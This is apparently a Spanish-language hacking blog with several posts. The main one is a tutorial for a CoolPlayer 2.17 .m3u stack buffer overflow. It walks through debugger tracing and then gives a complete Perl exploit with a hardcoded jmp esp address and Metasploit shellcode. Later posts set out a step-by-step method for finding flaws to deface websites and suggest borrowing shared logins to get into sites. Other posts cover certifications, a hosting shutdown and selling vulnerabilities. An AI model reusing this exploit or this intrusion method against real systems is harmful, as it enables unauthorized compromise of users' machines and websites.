CoolPlayer 2.17 Stack Overflow

Hago aqui una puqueña introduccion de lo que se hara en el taller de buffer overflow, empezando con los stack, aqui tenemos un software que es explotable. Cuando me puse a buscar fallos en software me encontre con el TotalPlayer 3.0 (una copia de coolplayer con malware) y me entere gracias a una persona en securityfocus, y el totalplayer mostraba seguridad por lo que me puse con el original, el coolplayer 2.17.
El fallo en sí, se encontraba al abrir archivos .m3u con demasiados bytes en su interior (IMG:style_emoticons/default/tongue.gif)

Comencemos:

Despues de ver eso, es hora de irnos a investigar, abrimos el OllySnd por ejemplo:

Yo lo hice de este modo para ver el lugar exacto donde se producia, mire en strings y vi por ahi cosas como playlist y demas, asi que me fui a

0040CAA3 |. 68 C4DA4400 |push coolplay.0044DAC4 ; ASCII "playlist"

y bajando un poco nos encontramos con una funcion muy sospechosa:

0040CBA8 |. FF15 08514300 call ds:[<&KERNEL32.ReadFile>] ; \ReadFile

Ponemos un BP y al abrir el archivo se para ahi, seguimos traceando un poco con f8 y cuando caemos aqui:

0040CC07 |. E8 D4FCFFFF |call coolplay.0040C8E0


El archivo da el problema, asi que lo reiniciamos y lo miramos con f7

de nuevo viendo poco a poco vemos que hay 2 funciones iguales, y como la que tiene que ver con el error es la segunda le ponemos un bp ahi(esto lo he visto traceando poco a poco), es facil, si no sale no preocuparse jeje:

0040C98A |. FF15 20514300 call ds:[<&KERNEL32.lstrcpyA>] ; \lstrcpyA

En ese momento creo que la pila estaba asi:

0013271C 7C809BA8 kernel32.7C809BA8
00132720 FFFFFFFF
00132724 0040CC0C RETURN to coolplay.0040CC0C from coolplay.0040C8E0 -- importante
00132728 003D41D0


y seguimos bajando y caemos en:

0040C9B0 |. 81C4 04010000 add esp,104 -- la pila esta antes de llegar al ret address

---
00132620 505C3A46 -esp
00132624 5C6C7265 --ret address
---

Al tracear una vez mas, el ret adress sta sobreescrito, y esp apunta a la linea de abajo del ret address, por lo que sera mas facil hacer el exploit funcional:


00132620 41414141
00132624 41414141 - ret address sobreescrita(aqui un salto a esp(jmp esp))
00132628 41414141 -esp


Asi que teniendo esto despues de tracearlo con el olly, vamos a crear el exploit:

Para ello utilizare perl, y una shellcode de metasploit (IMG:style_emoticons/default/tongue.gif)

Esto iba a ir a milw0rm, pero de momento no,porque parece ser que no funciona del todo bien en alguna que otra maquina xD

Exploit modificado:


#!/usr/bin/perl
################################################################################
#####################################
#
#CoolPlayer, Latest Build: 217
#Web:: http://coolplayer.sourceforge.net/
#Playlist(.m3u) File Local Buffer Overflow Exploit
#
#Vuln:http://www.securityfocus.com/bid/21396
#
#Instrucciones:coolplayerm3u.pl debe de estar en el mismo directorio que el perl.exe
#
#Agradecimientos a: Luigi Auriemma que ha descubierto una nueva vulnerabilidad en este software junto
# a esta vuln que era antigua y que ha sido redescubierta en un software con adware por mi jeje
# TotalPlayer 3.0(fake de Coolplayer), thanks luigi xDD
# Además del equipo de www.p1mp4m.es -->musashi,patoruzu,elvispresley,pepepistola,skyline2412
#
# Y en especial a este ultimo:skyline2412(puso parte del codigo y me ayudo bastante con la tarea) y
# el_manguan que estuvo ayudando tambien y probando.
#
#Exploit por: Trancek
#Email:trancek@yashira.org
#
################################################################################
######################################
use Cwd;

print "CoolPlayer 2.17 .m3u Exploit\n\n";


$dir = getcwd()."/";
$lon = length($dir);
$nanai = 260 - $lon;
$junk = 'A' x $nanai;
$ret = "\xED\x1E\x95\x7C"; #jmp esp,win xp sp2(spanish)



# win32_exec - EXITFUNC=thread CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode =
"\x33\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x66".
"\x3f\x59\x90\x83\xeb\xfc\xe2\xf4\x9a\xd7\x1d\x90\x66\x3f\xd2\xd5".
"\x5a\xb4\x25\x95\x1e\x3e\xb6\x1b\x29\x27\xd2\xcf\x46\x3e\xb2\xd9".
"\xed\x0b\xd2\x91\x88\x0e\x99\x09\xca\xbb\x99\xe4\x61\xfe\x93\x9d".
"\x67\xfd\xb2\x64\x5d\x6b\x7d\x94\x13\xda\xd2\xcf\x42\x3e\xb2\xf6".
"\xed\x33\x12\x1b\x39\x23\x58\x7b\xed\x23\xd2\x91\x8d\xb6\x05\xb4".
"\x62\xfc\x68\x50\x02\xb4\x19\xa0\xe3\xff\x21\x9c\xed\x7f\x55\x1b".
"\x16\x23\xf4\x1b\x0e\x37\xb2\x99\xed\xbf\xe9\x90\x66\x3f\xd2\xf8".
"\x5a\x60\x68\x66\x06\x69\xd0\x68\xe5\xff\x22\xc0\x0e\xd0\x97\x70".
"\x06\x57\xc1\x6e\xec\x31\x0e\x6f\x81\x5c\x38\xfc\x05\x11\x3c\xe8".
"\x03\x3f\x59\x90";

$nopeando = "\x90" x 20;


open(m3u, ">./vuln.m3u");
print m3u "$junk";
print m3u "$ret";
print m3u "$nopeando";
print m3u "$shellcode";

print "Instrucciones: coolplayerm3u.pl debe de estar en el mismo directorio que el \n";
print "perl.exe o al llamarlo debes de tener el directorio de perl en las variables de entorno \n\n";

print "Directorio: ",$dir,"\n";
print "Longitud del directorio: ",$lon,"\n";
print "Numero de Junk(A) Total: ",$nanai,"\n\n";

print "Cuidado: Cambiar el archivo de directorio, provoca que no funcione el exploit\n";
print "Depende del directorio actual del archivo .m3u y da problemas en el directorio\n";
print "raiz C:\, F:\, etc...(Son 3 'A' mas)\n\n";

print "Archivo creado\n";

La máquina del tiempo de Internet

¿Alguna vez te has preguntado como sería una web hace tiempo?¿Te has encontrado con que quieres ver como era tu web hace tiempo y no lo guardaste? Este es el momento para ver como era tu web cuando la creaste, poco tiempo después, lo que tarda una web en registrarlo y hacer copias de ella. El servicio en cuestion es: Wayback Internet Machine , la mia todavia no aparece pero es cuestion de tiempo espero. Aquí os dejo una screen por ejemplo de cuando yashira era hackyashira.com, del 2º registro que se hizo en "archives":


Como podemos ver hay un tal rey brujo que tal vez sea el de elhacker.net, el megabyte("dios de la red") jejejeje, el_manguan, gran desaparecido junto a otros que pueden sonar, por lo menos a mi me suenan unos cuantos.
Se ha notado el gran cambio que ha dado yashira hasta el día de hoy, que recuerdos de cuanto entré hace ya...

Certificaciones de Seguridad

Hoy voy a hablar de estas certificaciones famosas entre los jefes y que les gusta que los empleados las tengan cuando trabajan en seguridad informática, sin saber realmente que algunos son puro papel y diploma y realmente enseñan conocimientos que puedes adquirir tu rápidamente de internet excepto algunos que hay práctica de laboratorio pero a la hora del exámen es solo teórico, para mi perspectiva hay varios problemas en este tipo de certificaciones:

1- El precio de este tipo de certificaciones es muy elevado para mi cartera.
2- Los exámenes suelen ser en inglés excepto el CCNA que puede hacerse en español y por lo tanto te dificulta a lo mejor a la hora de entender perfectamente lo que te pregunta.
3- A la hora de los conocimientos muchas veces se pueden aprender de internet y te ahorras los anteriores problemas.

Por lo tanto, los aconsejo para los que tengan dinero y se lo puedan permitir fácilmente ya que algunas empresas se fijan más en ello, para los que tengan poco lo mejor es esperar tal vez y cuando puedas permitirlo si quieres hacerlo y tal hay buenas empresas que hacen los exámenes en zonas de España y no tienes que viajar muy lejos. A veces, algunas empresas regalan cursos de este tipo a sus empleados pero eso depende de cada una.

Estos días iré poniendo varios tipos de certificaciones con su temario y tal. Hay un larga lista de ellas:

- EC-Council Security Certification
+CHFI - Computer Hacking Forensic Investigator
+CEH - Certified Ethical Hacker
+ECSA - EC-Council Certified Security Analyst
+LPT - Licensed Penetration Tester
- (ISC)²
+CISSP - Certified Information Systems Security Professional
+ISSAP - Information Systems Security Architecture Professional
+ISSMP - Information Systems Security Management Professiona
+ISSEP - Information Systems Security Engineering Professional
+CAP - Certification and Accreditation Professional
+SSCP - Systems Security Certified Practitioner
- Computing Technology Industry Association
+CompTIA Security+
+CompTia A+
- ISACA
+CISA - Certified Information Systems Auditor
+CISM - Certified Information Security Manager
+CGEIT - Certified in the Governance of Enterprise IT
- GIAC
+GIAC - Global Information Assurance Certification
+GREM - GIAC Reverse Engineering Malware
+GHTQ - GIAC Cutting Edge Hacking Techniques
+GWAS - GIAC Web Application Security
- CISCO
+CCENT - Cisco Certified Entry Networking Technician
+CCNA - Cisco Certified Network Associate
+CCSP - Cisco Certified Security Professional
+CCIE - Cisco Certified Internetwork Expert
- Microsoft
+MCP - Microsoft Certified Professional
+MCSA - Microsoft Certified System Associate
+MCSE - Microsoft Certified System Engineer
- Next Generation Security
+NSC - NGSEC Security Certification

Auditoria de una pagina a nivel Web

Esta vez voy a hablar de como vulnerar una web de un modo general y sencillo, es decir, los pasos que tenemos que seguir generalmente para encontrar posibles fallos para defacear una web y ya de paso también sirva a los webmasters que quieran comprobar la seguridad de su web y asi estar siempre mas seguros. Asi que os muestro mas o menos mi metodologia que utilizo yo. Para ello haremos un riguroso analisis de la web en cuestion.

Podemos seguir estos 10 sencillos pasos:

1-Mirar con que lenguaje se programo la web: Php, Asp, Html, XML, Flash...
1.1- Html: seguramente haya que buscar otro modo, como por el servidor o mirar a ver si hay alguna parte que no sea html
1.2- Javascript, Flash, Java...paginas que contienen partes importantes en estos lenguajes como autentificacion pueden ser vulnerados facilmente, ya que se puede conseguir el codigo.
1.3- Asp, Php, XML...suelen tener graves problemas ya que se puede hacer muchas cosas con esos lenguajes, en esta nos centraremos a nivel web muchas veces.

2-Buscar si la pagina web es un paquete precompilado tipo CMS, por ejemplo, como Joomla, Php-Nuke, etc. Si lo es suele ser algo a nuestro favor ya que dispondriamos del codigo porque es libre y visible para todos.

3-Ver si existe robots.txt que sirve para ver directorios ocultos que el robot de google por ejemplo mira para que no cachee esos directorios, suele dar info de cosas importantes como directorio del admin.

4-Uso de buscadores para encontrar posibles archivos o directorios importantes: site:www.sitio.com eso encontraria varios enlaces en lo que podria estar alguno importante.

5-Directorios y archivos comunes: admin.***, administracion.***, login.***, etc y entre directorios: /zona admin/;/administracion/...etc. Un programa que da buenos resultados en busqueda de directorios es el acunetix que suele buscar directorios comunes en los que puede a ver logueos y demas.

6-Referenciado al punto 2, se podria buscar posibles fallos de ese paquete en www.milw0rm.com del colega str0ke, pagina que suele albergar todo tipo de exploits.

7-En caso de no encontrar nada ahi o en otras webs, tantear y probar tu mismo en sistemas de logueo de usuarios, de administracion, de busqueda, etc, inyecciones o sino en variables mediante GET O POST inclusiones, XSS, y otros tipos de vulnerabilidades.

8-Si nada de esto funciona la cosa es ponerse a investigar en el codigo tu mismo si lo tienes disponible, para ello deberas saber mas informacion de como y donde se producen las tipicas vulnerabilidades.

9-Un meto alternativo ya fuera de esto seria la Ingenieria Social, pero que no he probado ya que nunca he atacado un servidor especifico por algun motivo pero suele ser muy buena debilidad porque los empleados no estan preparados como deberian estarlo.

10-Otras formas ya que no tienen que ver con este texto, como es entrar por el servidor o ir a la empresa y hacer a lo espia, ahi con tu traje negro como si fueras uno mas, asi seguro te lo pases mejor.

*Un metodo bastante importante que se me olvidaba es buscar si es un servidor compartido para ello tenemos la herramienta Reverse IP de Seologs y a partir de ahi buscar en otras webs para lograr entrar al servidor y al fin llegar a la nuestra.


Este texto principalmente esta hecho rapidamente y para que tengan una idea mas o menos asi que es posible que la cague por las prisas y bueno como me lo pidieron varios usuarios de yashira.org pues me anime a escribirlo aunque es algo que se va aprendiendo con la experiencia, espero que al menos os guie un poco.

Cualquier cosa decirme y lo cambio, aun asi mañana le dare un vistacillo si saco tiempo, ademas me acostumbrare a poner tildes que no las suelo poner para evitar problemas.

Yashira OFF, por mucho tiempo?

Comunicado de Pescaodeth

-------------------------------------------------------

Yashira Regresa?
Publicado por PescaoDeth - 12-10-07 19:44
Muchos se preguntarón que sucedió.

para resumir todo... dejaré los mensajes enviados por DH fué como sigue:
CITA

Hello,


Your account has been permanently disabled for violations of our Terms of Service (operation of "hacking"/computer intrusion sites, presence of unauthorized copyrighted materials). It will not be re-enabled.


Jeff,

------------------------------------

luego de un petición para recuperar los backups correspondientes y una posible reactivación, la respuesta fué la siguiente:
"Tomando en cuenta que tardaron de 2 días en enviar la respuesta (total ya pagamos así que led dá igual)". y dando como escusa que nuestro sitio se trata principalmente de wargames y similares orienta a comprender las distintas ramas de informática.

CITA

This is a commonly heard excuse, but it rings hollow. Not only are some
of the tools you have under your account clearly meant for brute force
attacks against others, you are also engaging in copyright infringement
(ebooks, etc).

The account will not be re-enabled under any circumstances.

Jeff,

------------------------------------

aún seguimos esperando una respuesta para recuperar al menos la base de datos.
pero ya se perdieron esperanzas.

¿creen que es justo pagar por todo 1 año sin derecho a reemboloso de los meses no utlizados y además sin derecho a tus backups?
yo pienso que no!!!, me parece que es una estafa.

alguien se ha preguntado como llenar un disco de 250 gigas con material 100% legal, es decir sin mp3,videos,juegos,ezines, etc....

es por el mismo motivo que ofrecen esa cantidad de espacio ya que es casi imposible llenarlo.
y encaso de que alguien comiencé o ocupar espacio fuera de lo normal, no tardarán en encontrar una escusa para clausurar tu cuenta. ya que no estaba presupuestado que ocuparas mas de 10 gigas ya que nadie ocupa esa cantidad sin que sea 100% legal.

ya saben ;) pasen el dato que dreamhost vale vergas.

lo concreto es:
-el backup mas reciente es del día en que aparecen los puntajes del podium , es decir: 27 de septiembre 2007
- no tenemos host.
- y al menos yo como admin no gastaré 1 peso en un host que seguramente a los 3 meses lo vuelvan a cerrar por el mismo motivo.

Entonces regresará yashira?
- depende de los usuarios. si en realidad les interese que vuelva comuniquense con garcez,Alexhk_23 o g30rg3_x sobre ofertas de host y/o colaboraciones desinteresada de dinero.
les recordamos que yashira consume mas de lo normal en recursos y que necesita de al menos unas 40gigas de transferencia mensual y al menos 2 giga de espacio.

Cual es el pronóstico?
- lo mas probable es que yashira no vuelva a estar online, y no es debido a que los admin sean kagones con el dinero, si no mas bien que en todos los lugares donde se aloje, estará fuera de lo legal y/o terminos del host ya sea host o servidor dedicado "ya que al final de cuentas igual está regido por las mismas reglas".

y si vuelve reestructurada?

opciones:
- una posibilidad sería que no existan descargas de ninguna clase de tools, y ser mas exigentes en el material a alojar en el sitio.
- dejar el sitio solamente como wargame+foro activos.
- cerrar yashira y dedicarlo solo a wargame.
- cerrar y dejar los retos hasta donde estaban sin pocion de agregar contendio ni retos.

que puedo hacer para colaborar y que vuelva?
comunicarse con garcez,Alexhk_23 o g30rg3_x sobre ofertas y colaboraciones monetarias.
por cierto lean http://www.dreamhost.com/tos.html que aparece cuando contratan el servico:
pero milagrosamente tienen oculto al momento de contratar.
http://abuse.dreamhost.com/ el cual aparece milagrosamente.
en otras palabras te dicen que pueden cerrar los sitios cuando se les antoje ya que todos están fuera de lo legal.

Saludos

------------------------------------------------------------------------

Pues leo esto y pienso que al menos con lo que costo el server, podrian devolver algo o en vez de cerrar hablar con el admin y que le de unos dias para que lo cambie o se le cierra, pero no ganar dinero y ala a olvidarse de la gente, asi se forran todos y asi va el mundo, con gente asi es de esperar que no muy bien, pero bueno se esta haciendo lo posible para que vuelva y todos tengan un lugar donde reunirse y hablar, si no esperen con el host que vengo que es bueno barato y tal vez haciendole unas pocas modificacioens se pueda.

Os veo Yashirosss y pez trankilo que esta vez lo pagan los yashiros y si se puede con el que digo lo pago yo mismo!!! Ya lo sabes!!

Vendiendo Vulnerabilidades

Hace relativamente poco tiempo parecia que iba a causar furor una web de este tipo y que se iba a acabar el ser buena persona y reportarlos gratuitamente como se ha hecho la mayoria de veces, pero una web Wabisabilabi en la que ponian los fallos y el dinero que vale, lo mas gracioso que era de preveer es que la gente que estaba en contra de esto, han empezado a ver la web para que posteen uno y buscar el bug y publicarlo antes de que se venda, y a mi parecer hacen bien que lo hagan gratuitamente, es mas yo estare atento alguna que otra vez para ver si puedo hacer algo, porque asi no se trafica tanto con la informacion jeje, y bueno la verdad que lo venden muy caro para el sotfware que es, asi que vendan lo que puedan pero eso si en poco tiempo o ya no servira.


PD: Para los que publican los bugs gratuitamente una enhorabuena a todos, eso si no habria muchos si se programase mejor y se vigilase desde el principio eso :P

Evitar el papeleo de registrarse en una web

Cuando necesitas un usuario registrado para entrar en un server mediante la tecnica de falsear cookies o simplemente que quieres ahorrarte tiempo al ver los contenidos de una web y te manda registrarte pues lo mejor es ir a esta web Bugmenot e ingresar la web de la cual quieres la contraseña y te saldra la mayoria de las veces una valida. A mi la verdad me ha ahorrado bastante tiempo asi que espero que os sirve, no se si existiran mas paginas de este tipo, pero os sera de ayuda para los perezosos como yo